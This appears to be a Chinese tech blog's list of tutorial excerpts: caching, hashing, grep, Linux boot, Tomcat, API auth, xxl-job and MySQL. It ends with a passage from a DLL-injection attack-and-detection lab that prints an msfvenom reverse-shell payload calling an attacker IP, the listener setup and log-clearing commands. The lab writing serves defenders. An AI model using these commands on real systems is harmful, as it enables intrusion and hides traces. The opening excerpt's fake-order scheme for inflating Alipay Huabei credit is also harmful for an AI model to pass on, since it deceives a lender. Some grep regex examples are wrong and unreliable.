• 24年强开花呗教程

    吧闲的无聊逛某鱼 发现竟然有卖支付B强开花呗的教程 (因为自己也没开所以下款看看) 但看完教程觉着太麻烦  想着就这点破教程还卖个五六块 就来这里给大家分享一下  第一步: 支付宝开通网商银行存200金余利宝  等收到3天活期利息,不要动  提醒:周六周日不要打开余利宝  如果有钱可以多存,额度会更高;期间配合多走流水效果更佳。  第二步: 用当前支付宝账号开通一个个人淘宝店铺  不需要营业执照,不需要保证金  开通后随便上架一两个产品 卖衣服的也行,卖裤子的也行。   联系三个好友在同城或者是隔壁城市的下单  (下单人一定要常用收货地址。)  一共需要下满六笔,金额随意。 [交易额更好在1000元以上] 然后寄给朋友。 同城邮递费便宜 和朋友沟通好,随便寄个东西就行。  [-定要有物流信息], 然后手机卸载当前支付宝  重新下载支付宝登录账号 在搜索栏上面搜索花呗,借呗  点进去就可以看到可以开通的渠道 是真麻烦啊  麻烦到家了已经,怎么还算强开呢  不过还有个方法二,图就是教程(图片放到文件夹里了 ) ...

    2024-02-17 技术教程 77
  • WP Fastest Cache手动实现缓存预加载

    文章目录   步骤 其他办法 使用WP Fastest Cache缓存插件开启了缓存预加载后,发现还是需要点击文章才能自动生成制定数量的缓存页面,导致网站访问量较小时,网页缓存不全,蜘蛛爬取耗时较高,为了解决该问题,可以使用手动操作实现缓存预加载。 步骤 打开浏览器,输入如下地址访问: 你的网站地址/?action=wpfastestcache&type=preload 注意替换你的网站地址。 然后我们会发现页面显示哪些页面生成了缓存: 我这里设置的是每次生成4个页面缓存,手工一次次访问太慢,直接借助在线定时自动刷新网页工具:https://hao.panziye.com/sites/5096.html 输入你的请求地址和刷新频率,点击开始刷新就行了,这样就省了很多事,非常简单方便。 其他办法 实现WP Fastest Cache缓存预加载,还有其他办法,如果你的是基于宝塔面板的,直接新建个计划任务去定时请求该地址,如果不是,那么有技术的朋友也可以自己写个WP_CORN定时任务去定时请求,这里就不再介绍了,因为毕竟不会频繁删除所有缓存,因此手动结合定时工具一次性生成所有缓存已经够用了。 ...

    2024-01-05 技术教程 113
  • 一致性hash算法作用是什么

    一致性哈希(Consistent Hashing)算法,乍一听大家可能觉得这是高大上的技术名词,但其实它在分布式系统中无疑是个解决大难题的土方法,就像是中国的传统医术在现代仍能医治各种疑难杂症一样。 这个算法自从 1997 年由麻省理工学院的博士生提出后,就在分布式系统中扮演着至关重要的角色。一致性哈希算法在分布式系统中的地位可比咱们生活中的在线记账软件,解决了数据存放位置的大问题。 传统的哈希算法在节点增减时面临着数据重新分配的巨大代价,就像如果你用纸质的账本,每次账目中间有变动(比如,中间有几天忘了记账)时都得整本重写一遍,想想都头疼。而一致性哈希通过精妙地圆环结构使得节点变动只影响邻近的一小部分数据,大大降低了系统维护的复杂度。 说到一致性哈希算法的基本概念,想象我们有一张圆桌,桌面上标着从 0 到 2^32(假设用的是 32 位的哈希函数)的数字,形成一个闭环: 每当有个新服务器来了,我们就给它一个或多个哈希值,让它在这张圆桌的某个地方坐下 每次我们有数据要存储时,就按照数据的哈希值找到在此值之后的第一个服务器,把数据放在那儿 如果这个服务器忙碌了,它会找一个最近的邻居节点来帮助存储数据 这样,每当服务器来来去去时,我们只需要重新调整它们附近的数据即可 这个算法的魅力在于,不管你的网络多么巨大,每次添加或删除一个节点,都只涉及到节点旁边的一小部分数据,而不是整个网络。 这就像在一个巨大的停车场里找车位,即便是一个区域的停车位满了,你也不用担心其他地区的车位会被迁移。 当然,这个算法也有它的缺点。有时候,所有人似乎都想停在同一个车位上,这就造成了负载不均,即哈希环倾斜的情况。 这时,你可能需要一些“虚拟车位”,也即是虚拟节点,让这个停车场的车辆更加均匀地分布。 这种情况我们可以这么理解:项目中某个区域的缓存快满了怎么办? 那就是加新节点! 为了让缓存数据均匀分布,我们通常会采用哈希后取模的方式来确定数据归属的节点。 而在加减节点的过程中,一致性哈希算法可以保证大多数 key 照旧停留在原有的车位上,而不需要把整个车场的车全部重新停一遍。 ...

    2024-01-05 技术教程 121
  • Linux grep指令的10个使用技巧

    文章目录   一、在文件中搜索字符串或正则表达式 二、忽略大小写进行搜索 三、反向搜索 四、显示行号 五、递归搜索 六、只显示文件名 七、只显示匹配的行数 八、打印匹配前后的行 九、匹配多个字符串或正则表达式 十、使用特殊字符进行搜索 本文主要讲解关于Linux grep指令的10个使用技巧相关内容,让我们来一起学习下吧! grep (global regular expression print) 是 Linux 或其他类 Unix 操作系统中的一个功能强大的命令行搜索工具。它可以从文件或标准输入中搜索文本或字符串,并显示匹配的行或统计信息。grep 命令有大量的选项和用法,本文将介绍一些常见的示例。 一、在文件中搜索字符串或正则表达式 grep 命令可用于在一个或多个文件中搜索字符串或正则表达式。以下是如何使用它的基本语法: grep 'pattern' file1 file2 ... 例如,如果我们想在 file.txt 中搜索字符串 “hello”,我们可以使用以下命令: grep 'hello' file.txt 这个命令会打印出 file.txt 中包含 hello 的所有行。我们还可以使用通配符来在多个文件中搜索。例如,如果我们想在当前目录下所有以 .txt 结尾的文件中搜索 “hello”,我们可以使用以下命令: grep 'hello' *.txt 如果要使用正则表达式进行搜索,我们可以使用 -E 选项或使用 egrep 命令。例如,如果我们想在 file.txt 中搜索以 h 开头,后面跟一个或多个字母的单词,我们可以使用以下命令: grep -E 'h[a-zA-Z]+' file.txt 或者 egrep 'h[a-zA-Z]+' file.txt 二、忽略大小写进行搜索 默认情况下,grep 命令是区分大小写的。如果我们要忽略大小写进行搜索,我们可以使用 -i 选项。例如,如果我们想在 file.txt 中搜索 “hello”,不管它是大写还是小写,我们可以使用以下命令: grep -i 'hello' file.txt 这个命令会打印出 file.txt 中包含 hello , Hello , HELLO 等的所有行。 三、反向搜索 有时我们可能想要找出不匹配某个字符串或正则表达式的行,而不是匹配的行。这时我们可以使用 -v 选项进行反向搜索。例如,如果我们想在 file.txt 中找出不包含 “hello” 的所有行,我们可以使用以下命令: grep -v 'hello' file.txt 这个命令会打印出 file.txt 中不包含 hello 的所有行。 四、显示行号 如果我们想在搜索结果中显示每一行的行号,我们可以使用 -n 选项。例如,如果我们想在 file.txt 中搜索 “hello”,并显示匹配行的行号,我们可以使用以下命令: grep -n 'hello' file.txt 这个命令会在每一行的前面显示一个数字,表示该行在文件中的行号。 五、递归搜索 如果我们想在一个目录及其子目录中的所有文件中搜索一个字符串或正则表达式,我们可以使用 -r 选项进行递归搜索。例如,如果我们想在 dir 目录及其子目录中的所有文件中搜索 “hello”,我们可以使用以下命令: grep -r 'hello' dir/ 这个命令会在每一行的前面显示匹配的文件名和行号。 六、只显示文件名 如果我们只想知道哪些文件包含了匹配的字符串或正则表达式,而不想看到具体的内容,我们可以使用 -l 选项来只显示文件名。例如,如果我们想在当前目录下所有以 .txt 结尾的文件中搜索 “hello”,并只显示包含 “hello” 的文件名,我们可以使用以下命令: grep -l 'hello' *.txt 这个命令会只打印出包含 hello 的文件名,而不显示具体的行。 七、只显示匹配的行数 如果我们只想知道有多少行匹配了字符串或正则表达式,而不想看到具体的内容,我们可以使用 -c 选项来只显示匹配的行数。例如,如果我们想在 file.txt 中搜索 “hello”,并只显示匹配 “hello” 的行数,我们可以使用以下命令: grep -c 'hello' file.txt 这个命令会只打印出一个数字,表示 file.txt 中有多少行包含 hello 。 八、打印匹配前后的行 有时候,我们可能想要看到匹配的行的前后的一些行,以便更好地理解上下文。这时候,我们可以使用 -A 选项来打印匹配后的 N 行,使用 -B 选项来打印匹配前的 N 行,或者使用 -C 选项来打印匹配前后的 N 行。例如,如果我们想在 file.txt 中搜索 hello ,并打印匹配后的 2 行,我们可以使用以下命令: grep -A 2 'hello' file.txt 这个命令会打印出 file.txt 中包含 hello 的所有行,以及每一行后面的 2 行。类似地,如果我们想打印匹配前的 2 行,我们可以使用以下命令: grep -B 2 'hello' file.txt 这个命令会打印出 file.txt 中包含 hello 的所有行,以及每一行前面的 2 行。如果我们想打印匹配前后的 2 行,我们可以使用以下命令: grep -C 2 'hello' file.txt 这个命令会打印出 file.txt 中包含 hello 的所有行,以及每一行前后的 2 行。 九、匹配多个字符串或正则表达式 如果我们想在一个或多个文件中搜索多个字符串或正则表达式,我们可以使用 -e 选项来指定多个模式,或者使用 -f 选项来从一个文件中读取多个模式。例如,如果我们想在 file.txt 中搜索 hello 或 world ,我们可以使用以下命令: grep -e 'hello' -e world file.txt 这个命令会打印出 file.txt 中包含 hello 或 world 的所有行。或者,我们可以把 hello 和 world 写在一个文件中,比如 pattern.txt ,然后使用以下命令: grep -f pattern.txt file.txt 这个命令会打印出 file.txt 中包含 pattern.txt 中的任何一个字符串的所有行。 十、使用特殊字符进行搜索 grep 命令支持一些特殊字符,用于表示行的开头或结尾,或者表示任意字符或重复次数等。这些特殊字符可以组合成复杂的正则表达式,用于进行精确的搜索。以下是一些常用的特殊字符: ^ :表示行的开头。例如, ^hello 表示以 hello 开头的行。 $ :表示行的结尾。例如, hello$ 表示以 hello 结尾的行。 . :表示任意一个字符。例如, h.llo 表示 h 和 llo 之间有任意一个字符的行。 * :表示前面的字符可以重复0次或多次。例如, hel*o 会匹配 “hello” 和 “helo”。 [] :表示括号中的任意一个字符。例如, h[ae]llo 表示 h 和 llo 之间是 a 或 e 的行。 [^] :表示括号中的任意一个字符以外的字符。例如,在表达式 h[^ae]llo 中,[^ae] 表示除了 a 和 e 之外的任意字符。 其他的正则字符: {} :表示前面的字符可以重复指定次数。例如, h{2,4}llo 会匹配 “hhello”, “hhelllo”, 和 “hhelllo”。 | :表示或。例如, h|l|o 会匹配 “h”, “l”, 或 “o”。 \d :匹配一个数字字符。 \D :匹配一个非数字字符。 \w :匹配一个字母、数字或下划线。 \W :匹配一个非字母、非数字或非下划线的字符。 \s :匹配一个空白字符,例如空格、制表符、换页符等。 \S :匹配一个非空白字符。 \b :匹配一个单词边界。 \B :匹配一个非单词边界。 [[:<:]] 和 [[:>:]]:分别匹配行的开头和结尾(与 ^ 和 $ 功能相同,但更通用)。 [[:alnum:]]、[[:alpha:]]、[[:digit:]] 等:匹配指定的字符类。 这些特殊字符和其他一些高级功能使得 grep 命令成为处理文本数据的强大工具。 以上就是关于Linux grep指令的10个使用技巧相关的全部内容,希望对你有帮助。欢迎继续关注潘子夜个人博客,学习愉快哦! ...

    2023-12-25 技术教程 136
  • linux启动流程步骤详解

    Linux是怎么启动的? 几乎每个软件工程师都用过 Linux,但并不是每个人都知道它的启动过程,让我们深入了解一下。 下图给我们展示了具体步骤。 第1步 当我们打开电源时,BIOS(基本输入/输出系统,Basic Input/Output System)或 UEFI(统一可扩展固件接口,Unified Extensible Firmware Interface)固件会从非易失性内存中加载,并执行 POST(开机自检,Power On Self Test)。 第2步 BIOS/UEFI 检测连接到系统的设备,包括 CPU、内存和存储设备。 第3步 选择一个启动设备来启动操作系统。 可以是硬盘、网络服务器或 CD ROM。 第4步 BIOS/UEFI 运行引导加载器 (GRUB),它提供了一个选择操作系统或内核功能的菜单。 第5步 内核准备就绪后,我们现在切换到用户空间。 内核启动 systemd 作为第一个用户空间进程,负责管理进程和服务、探测所有剩余硬件、挂载文件系统并运行桌面环境。 第6步 系统启动时,systemd 默认激活 default.target 单元。 同时还会执行其他分析单元。 第7步 系统运行一组启动脚本并配置环境。 第8步 用户将看到一个登录窗口。 系统现已准备就绪。 ...

    2023-12-22 技术教程 119
  • 什么是Tomcat,安装及配置教程

    1、Tomcat 介绍 什么是 Tomcat Tomcat 是 Apache 软件基金会一个核心项目,是一个开源免费的轻量级 web 服务器,支持 Servlet / jsp 少量JavaEE规范,Tomcat 也被称为 Web 容器、Servlet 容器。 官网:https://tomcat.apache.org/ 什么是 JavaEE JavaEE:Java Enterprise Edition,Java 企业版。指 Java 企业级开发的技术规范总和。 包含 13 项技术规范:JDBC、JNDI、EJB、RMI、JSP、Servlet、XML、JMS、Java IDL、JTS、JTA、JavaMail、JAF 2、Tomcat 使用配置 2.1、Tomcat 下载启动 Tomcat 下载安装 下载:https://tomcat.apache.org/ 安装:Tomcat 是绿色版,直接解压就可以了,建议:不要有中文的目录,目录层次不要太深 打开apache-tomcat目录就能看到如下目录结构,每个目录中包含的内容需要认识下 Tomcat 启动关闭 启动:双击:bin\startup.bat 关闭 直接 x 掉运行窗口:强制关闭 bin\shutdown.bat:正常关闭 ctrl+c:正常关闭 Tomcat 访问 访问方式:浏览器输入localhost:8080,Tomcat 默认端口是 8080 2.2、Tomcat 启动乱码 问题 控制台有中文乱码,需要修改 conf/logging.prooperties 进入 Tomcat 的 conf 目录 找到 logging.properties 文件 将里面所有的 UTF-8 替换成 GBK 注意:建议使用 Vscode 打开或者其他工具,直接查找替换,避免发生错误 2.3、Tomcat 端口号修改 进入 Tomcat 的 conf 目录下 找到 server.xml 文件,打开 找到下列代码位置,大概在 69 行,修改 port=你想要的位置 <Connector port="8080" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" /> 端口号冲突 3、Tomcat 项目部署 项目部署的两种方法 直接将项目复制到 webapps 目录下 采用压缩文件.war 的方式 将整个项目使用压缩工具打包成 zip 文件 改 zip 的扩展名为 war 复制到 webapps 目录下,tomcat 会自动解压成一个同名的目录 注意:里面的文件不能有中文名 部署演示:直接将项目复制到 webapps 目录下 项目名为:hello,将其文件复制到 webapps 目录下 启动 Tomcat 后,访问 hello 部署演示:采用压缩文件.war 的方式 将项目压缩成 zip 文件 改 zip 的扩展名为 war 复制到 webapps 目录下,tomcat 会自动解压成一个同名的目录 访问测试 4、IDEA 中使用 Tomcat 方式 通过 Maven 的 package 命令可以将项目打包成 war 包,将 war 文件拷贝到 Tomcat 的 webapps 目录下,启动 Tomcat 就可以将项目部署成功,然后通过浏览器进行访问即可。 然而我们在开发的过程中,项目中的内容会经常发生变化,如果按照上面这种方式来部署测试,是非常不方便的 如何在 IDEA 中能快速使用 Tomcat 呢? 将本地 Tomcat 集成到 IDEA 中 打开添加本地 Tomcat 的面板 指定本地 Tomcat 配置本地 Tomcat 将项目部署到集成 Tomcat 里面 扩展内容:xxx.war 和 xxx.war exploded 这两种部署项目模式的区别? war 模式是将 WEB 工程打成 war 包,把 war 包发布到 Tomcat 服务器上 war exploded 模式是将 WEB 工程以当前文件夹的位置关系发布到 Tomcat 服务器上 war 模式部署成功后,Tomcat 的 webapps 目录下会有部署的项目内容 war exploded 模式部署成功后,Tomcat 的 webapps 目录下没有,而使用的是项目的 target 目录下的内容进行部署 建议大家都选 war 模式进行部署,更符合项目部署的实际情况 ...

    2023-12-18 技术教程 222
  • 如何设计安全的API调用

    如何为网站设计安全的API访问? 我们在设计一个网站或平台的时候,经常需要向用户开放API访问。 这样用户就可以程序化地调用一些功能,举几个例子: 交易所开放API让用户可以进行低时延的程序化交易, 微信公众号平台开放API让三方工具进行运营管理工作, Stripe开放API让商家和其他平台能很好地集成支付功能。 当我们向用户开放API访问时,我们需要确保每次API调用都经过鉴权。 这意味着我们需要确认用户是他们所声称的身份。 我们一般使用两种常见的方法来进行鉴权: 基于令牌的身份验证 HMAC(基于哈希的消息验证码)验证 下图说明了它们的工作原理。 1、基于令牌 第1步 用户在客户端输入密码,然后客户端将密码发送到鉴权服务器。 第2步 鉴权服务器验证密码并生成一个有有效期的令牌。 第3步和第4步 现在,客户端可以发送请求,使用HTTP头中带有的令牌访问服务器资源。 这种访问在令牌过期前一直有效。 2、基于 HMAC 这种机制通过使用哈希函数(SHA256 或 MD5)生成消息验证码(签名)。 第1步和第2步 服务器生成两个密钥,一个是公共APP ID(公钥),另一个是 API Key(私钥)。 第3步 现在我们在客户端生成一个HMAC 签名(hmac A),该签名是根据图中列出的一组字段生成的。 注意这里会加入请求的时间戳,这样一个HMAC签名是有有效期的,不会一直有效。 第4步 客户端发送请求来访问服务器资源,HTTP头中包含hmac A。 第5步 服务器收到包含请求数据和鉴权标头的请求。 它从请求中提取必要的字段,并使用存储在服务器端的API Key 生成签名(hmac B)。 第6步和第7步 服务器会比较hmac A(在客户端生成)和hmac B(在服务器端生成)。 如果两者匹配,请求的资源将返回给客户端。 ...

    2023-12-13 技术教程 149
  • 抓别人软件包分析教程

    抓别人软件包,来分析做自己的软件   ...

    2023-12-13 技术教程 195
  • docker如何部署xxl-job调度中心

    文章目录 第1步:下载镜像 第2步:创建容器并运行 第3步:浏览器访问 总结 本文主要讲解docker如何部署xxl-job调度中心,我们来一起学习下吧! 如果你还没有安装docker可以参考文章《Docker安装、运行、卸载—Docker学习教程》。 第1步:下载镜像 我们先通过以下指令来下载xxl-job的docker镜像, Docker地址:https://hub.docker.com/r/xuxueli/xxl-job-admin/ (建议指定版本号) docker pull xuxueli/xxl-job-admin 第2步:创建容器并运行 接下来,我们可以通过如下指令创建xxl-job-admin容器并运行: docker run -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 需要说明的是: 如需自定义 mysql 等配置,可通过 “-e PARAMS” 指定,参数格式 PARAMS=”–key=value –key2=value2″ ; 配置项参考文件:/xxl-job/xxl-job-admin/src/main/resources/application.properties 如需自定义 JVM内存参数 等配置,可通过 “-e JAVA_OPTS” 指定,参数格式 JAVA_OPTS=”-Xmx512m” ; 类似如下指令: docker run -e PARAMS="--spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai" -p 8080:8080 -v /tmp:/data/applogs --name xxl-job-admin -d xuxueli/xxl-job-admin:{指定版本} 第3步:浏览器访问 最后我们通过浏览器访问地址:http://localhost:8080/xxl-job-admin就可以看到如下界面: 总结 以上就是docker如何部署xxl-job调度中心的全部步骤,希望对你有帮助。...

    2023-11-20 技术教程 220
  • 如何快速搭建xxl-job项目详解

    文章目录 第1步:下载xxl-job源码 第2步:初始化数据库SQL 第3步:配置部署“调度中心” 3.1:修改调度中心配置文件: 3.2:部署调度中心项目 3.3 调度中心集群(可选): 3.4 其他:Docker 镜像方式搭建调度中心: 第4步: 配置部署“执行器项目” 4.1:部署执行器项目 4.2:测试执行定时任务 总结 本文重点讲解如何快速搭建xxl-job分布式任务调度框架项目,不对xxl-job做深入介绍,如果还不了解该框架的可以移步《xxl-job分布式任务调度框架详解》这篇文章,本文只讲解如何快速搭建xxl-job项目相关的实操步骤,我们一起来看以下。 搭建xxl-job项目xxl-job主要分为4个步骤: 第1步:下载xxl-job源码 首先我们去github或者gitee去下载xxl-job的项目源码,这里我下载2.4.0的版本。以下是下载地址: github:https://github.com/xuxueli/xxl-job gitee:https://gitee.com/xuxueli0323/xxl-job xxl-job官方教程文档:https://www.xuxueli.com/xxl-job/ 下载时选择自己想要的版本,建议是稳定版。 第2步:初始化数据库SQL 接下来,我们需要初始化“调度数据库”,请将下载好的项目源码解压,获取 “调度数据库初始化SQL脚本” 并执行即可,SQL脚本位置在如下: /xxl-job/doc/db/tables_xxl_job.sql 注意: 1)该SQL脚本是mysql数据库脚本,会自动创建名为xxl_job的数据库,表名也都是xxl_job开头的,如果你要修改数据库名称,记得提前改下脚本,初始化后一共8张表如下: 2)另外,调度中心支持集群部署,集群情况下各节点务必连接同一个mysql实例,如果mysql做主从,调度中心集群节点务必强制走主库。 第3步:配置部署“调度中心” 接下来我们需要配置部署“调度中心”,调度中心的作用是统一管理任务调度平台上调度任务,负责触发调度执行,并且提供任务管理平台。其实就是我们可视化的后台管理项目,即调度中心项目:xxl-job-admin。 因此,我们需要将源码中xxl-job-admin项目导入IDEA,由于是maven开发的,因此你本地需要配置好maven环境,没配置过的请参考《IntelliJ IDEA如何整合Maven图文教程详解》。 3.1:修改调度中心配置文件: 调度中心配置文件地址: /xxl-job-admin/src/main/resources/application.properties 调度中心配置内容说明: ### 调度中心JDBC链接:链接地址请保持和 2.1章节 所创建的调度数据库的地址一致 spring.datasource.url=jdbc:mysql://127.0.0.1:3306/xxl_job?useUnicode=true&characterEncoding=UTF-8&autoReconnect=true&serverTimezone=Asia/Shanghai spring.datasource.username=root spring.datasource.password=root_pwd spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver ### 报警邮箱 spring.mail.host=smtp.qq.com spring.mail.port=25 spring.mail.username=xxx@qq.com spring.mail.password=xxx spring.mail.properties.mail.smtp.auth=true spring.mail.properties.mail.smtp.starttls.enable=true spring.mail.properties.mail.smtp.starttls.required=true spring.mail.properties.mail.smtp.socketFactory.class=javax.net.ssl.SSLSocketFactory ### 调度中心通讯TOKEN [选填]:非空时启用; xxl.job.accessToken= ### 调度中心国际化配置 [必填]: 默认为 "zh_CN"/中文简体, 可选范围为 "zh_CN"/中文简体, "zh_TC"/中文繁体 and "en"/英文; xxl.job.i18n=zh_CN ## 调度线程池最大线程配置【必填】 xxl.job.triggerpool.fast.max=200 xxl.job.triggerpool.slow.max=100 ### 调度中心日志表数据保存天数 [必填]:过期日志自动清理;限制大于等于7时生效,否则, 如-1,关闭自动清理功能; xxl.job.logretentiondays=30 以上配置重点关注jdbc数据库连接相关的内容,比如修改数据库用户名密码,以及报警邮箱相关配置,这里就不再详细展开,大家根据自己的需求配置修改即可。 3.2:部署调度中心项目 在idea中可以直接启动运行该项目,如果已经正确进行上述配置,运行成功会打印如下日志: 10:13:54.594 logback [main] INFO o.s.b.w.e.tomcat.TomcatWebServer - Tomcat started on port(s): 8080 (http) with context path '/xxl-job-admin' 10:13:54.606 logback [main] INFO c.x.job.admin.XxlJobAdminApplication - Started XxlJobAdminApplication in 2.167 seconds (JVM running for 3.881) 10:13:59.003 logback [xxl-job, admin JobScheduleHelper#scheduleThread] INFO c.x.j.a.c.thread.JobScheduleHelper - >>>>>>>>> init xxl-job admin scheduler success. 然后浏览器访问调度中心访问地址:http://localhost:8080/xxl-job-admin(该地址执行器将会使用到,作为回调地址) 默认登录账号 “admin/123456”, 登录后运行界面如下图所示。 如果要上线部署,可将项目编译打包部署即可。以上,我们就将任务调度中心集成好了。 另外补充说明以下两点: 3.3 调度中心集群(可选): 调度中心支持集群部署,提升调度系统容灾和可用性。 调度中心集群部署时,几点要求和建议: DB配置保持一致; 集群机器时钟保持一致(单机集群忽视); 建议:推荐通过nginx为调度中心集群做负载均衡,分配域名。调度中心访问、执行器回调配置、调用API服务等操作均通过该域名进行。 3.4 其他:Docker 镜像方式搭建调度中心: 参考文章《docker如何部署xxl-job调度中心》 第4步: 配置部署“执行器项目” “执行器”项目其实就是我们下载源码中的:xxl-job-executor-samples项目,这里面有两个“执行器”项目,分别为xxl-job-executor-sample-frameless和xxl-job-executor-sample-springboot。 xxl-job提供2种版本执行器供选择,现以 springboot 版本为例,可直接使用,也可以参考其并将现有项目改造成执行器。 顺便说下执行器项目作用:负责接收“调度中心”的调度并执行;可直接部署执行器,也可以将执行器集成到现有业务项目中。 4.1:部署执行器项目 我们使用idea打开xxl-job-executor-samples项目,注意application.properties中xxl.job.admin.addresses配置,调度中心部署根地址 [选填]:如调度中心集群部署存在多个地址则用逗号分隔。执行器将会使用该地址进行”执行器心跳注册”和”任务结果回调”;为空则关闭自动注册;我们这里默认和之前调度中心地址一致即可。 xxl.job.admin.addresses=http://127.0.0.1:8080/xxl-job-admin 然后直接运行xxl-job-executor-springboot项目,发现启动成功。 4.2:测试执行定时任务 接下来,我们测试执行系统默认定时任务,打开调度中心页面,在任务管理中,执行一次,如下图: 我们发现在xxl-job-executor-springboot项目中,打印了如下信息: 10:43:54.772 logback [Thread-8] INFO com.xxl.job.core.server.EmbedServer - >>>>>>>>>>> xxl-job remoting server start success, nettype = class com.xxl.job.core.server.EmbedServer, port = 9999 10:47:23.505 logback [xxl-job, EmbedServer bizThreadPool-303137862] INFO c.x.job.core.executor.XxlJobExecutor - >>>>>>>>>>> xxl-job regist JobThread success, jobId:1, handler:com.xxl.job.core.handler.impl.MethodJobHandler@344426bf[class com.xxl.job.executor.service.jobhandler.SampleXxlJob#demoJobHandler] 10:49:06.782 logback [xxl-job, JobThread-1-1700189243505] INFO com.xxl.job.core.thread.JobThread - >>>>>>>>>>> xxl-job JobThread stoped, hashCode:Thread[xxl-job, JobThread-1-1700189243505,10,main] 查看调度日志查看发现调度成功: 总结 当然你也可以将下载的整个项目源码导入idea,分别修改配置,然后运行以上的两个子项目,就可以进行搭建测试了。 如果你想将调度执行项目集成到自己的springboot项目中该如何去实现呢?具体的请参考文章《SpringBoot如何集成整合xxl-job任务调度框架》。 以上就是快速搭建搭建xxl-job项目详解的全部内容,希望对你有帮助。 ...

    2023-11-20 技术教程 165
  • 如何优化mysql like %xxx%模糊查询?

    本文主要讲解关于如何优化mysql like %xxx%模糊查询相关内容,让我们来一起学习下吧! 今天给大家分享一个小知识,实际项目中,like %xxx%的情况其实挺多的,比如某个表单如果支持根据公司名进行搜索,用户一般都是输入湖南xxx有限公司中的xxx进行搜索,所以对于接口而言,就必须使用like %xxx%来支持,从而不符合最左前缀原则导致索引失效,那么该如何优化这种情况呢? 第一种可以尝试的方案就是利用索引条件下推,我先演示再讲原理,比如我有下面一张订单表: 就算给company_name创建一个索引,执行where company_name like '%腾讯%'也不会走索引。 但是如果给created_at, company_name创建一个联合索引,那么执行where created_at=CURDATE() and company_name like '%腾讯%'就会走联合索引,并且company_name like '%腾讯%'就会利用到索引条件下推机制,比如下图中Extra里的Using index condition就表示利用了索引条件下推。 所以,并不是like %xxx%就一定会导致索引失效,原理也可以配合其他字段一起来建联合索引,从而使用到索引条件下推机制。 再来简单分析一下索引条件下推的原理,在执行查询时先利用SQL中所提供的created_at条件在联合索引B+树中进行快速查找,匹配到所有符合created_at条件的B+树叶子节点后,再根据company_name条件进行过滤,然后再根据过滤之后的结果中的主键ID进行回表找到其他字段(回表),最终才返回结果,这样处理的好处是能够减少回表的次数,从而提高查询效率。 当然,如果实在不能建立或不方便建立联合索引,导致不能利用索引条件下推机制,那么其实可以先试试Mysql中的全文索引,最后才考虑引入ES等中间件,当然Mysql其他一些常规优化机制也是可以先考虑的,比如分页、索引覆盖(不select *)等。 以上就是关于如何优化mysql like %xxx%模糊查询相关的全部内容,希望对你有帮助。欢迎持续关注潘子夜个人博客,学习愉快哦! ...

    2023-11-20 技术教程 168
  • DLL注入的术与道:分析攻击手法与检测规则

    【前言】 在攻防对抗日渐常态化的今天,攻击者的攻击已变得越来越复杂和难以防御,而作为企业的防守人员,也需要不断努力改进技术来保护系统和数据免受威胁。本文将站在攻击者角度探讨DLL注入技术的原理以及是如何实现的,同时还会站在防守者的角度分析DLL注入的特征以及检测规则。因此,无论你是一名甲方安全人员、红队大佬,还是对网络安全感兴趣的个人,这篇文章都将会帮助你更好地理解DLL注入的工作原理,特征以及应对方式等。让我们一起开启本篇内容的学习吧!PS:因篇幅有点长,先把本篇目录列出,以帮助读者们更好地理解本篇要领! 【正文】 1、攻击假设 1.1、什么是DLL? DLL 本质上是可供其他程序使用的函数和数据的集合,可将其视为虚拟公共资源,Windows运行的任何程序都会不断地调用动态链接库,以访问各种常见函数和数据。 1.2、DLL注入 (T1055.001) 参考ATT&CK攻击矩阵,进程注入的方法比较丰富,涉及到的ATTCK相关子项与API调用如下图所示。本次使用经典的远程线程注入:首先使用Windows API 调用将恶意文件路径写入目标进程的虚拟地址空间,然后创建远程线程并执行,对应ATT&CK的T1055.001,该方法需要事先将DLL存于磁盘上。 2、环境构建 使用Vmware安装系统镜像:Windows10(victim),kali(攻击)、Ubuntu22.04.2(日志分析)。 在Ubuntu20.04.2安装Wireshark与Volatility;方法参考其代码仓库。Kali已内置安全框架,直接安装即可。 Windows 10 Enterprise至Microsoft Tech Community下载。 2.1 Sysmon 该工具安装时务必指定配置文件,如使用默认的参数可能导致日志记录不全面。直接参考配置文件Neo23x0-sysmon-config(Florian Roth)。安装完成后运行Powershell命令行:Get-Service sysmon验证是否安装成功。 2.2 配置PowerShell ScriptBlock日志 PowerShell 日志类型:Module、ScriptBlock logging、Script Execution、Transcription。为了收集脚本执行日志,将配置并激活 ScriptBlock。以管理员运行Powershell,执行如下命令:1)更改powershell执行策略,以允许后续配置更改; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope LocalMachine 2)新建ScriptBlockLogging注册表路径; New-Item-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Force 3)新增EnableScriptBlockLogging 属性为DWORD并设置为1; New-ItemProperty-Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force 4)开启日志记录 wevtutil sl "Microsoft-Windows-PowerShell/Operational" /e:true 2.3 其他软件 Process Hacker:实时分析;Wireshark:流量分析。 3、攻击模拟 3.1 生成dll文件 (1)在Kali VM使用msfvenom生成payload,msfvenom是Metasploit框架中的组件。命令如下: sudo msfvenom -p windows/meterpreter/reverse_tcp Lhost=192.168.26.130 Lport=88 -f dll > /home/hacker/Desktop/evil.dll Lhost 表示监听的主机,此处代表Kali主机, Lport 表示监听的端口. -f 生成的文件类型,此处是dll。 成功执行后如下图所示: (2)使用python命令(python3 -m http.server 8008)构建简单的服务,在目标机器上使用浏览器下载至桌面。在目标机器上注入此dll后,将与恶意主机建立连接。效果如下: (3)接下来将在Kali启动脚本开启监听,为后续操作建立通道。执行如下命令: msfconsole:开启msf框架;use exploit/multi/handler:生成处理器;set payload windows/meterpreter/reverse_tcp:指定监听的地址与端口 当payload在目标系统上执行时,它将启动一个 TCP 回连攻击者的机器。查看参数要求并运行命令: set LHOST 192.168.230.155set LPORT 88run 3.2 执行注入 (1)开启WireShark捕获数据包。选择正确的网卡设备进行监听 (2)清除系统当前Sysmon和PowerShell ScriptBlock日志   以管理员身份打开 PowerShell 终端,运行以下两个命令: wevtutil cl “Microsoft-Windows-Sysmon/Operational”wevtutil cl “Microsoft-Windows-PowerShell/Operational” 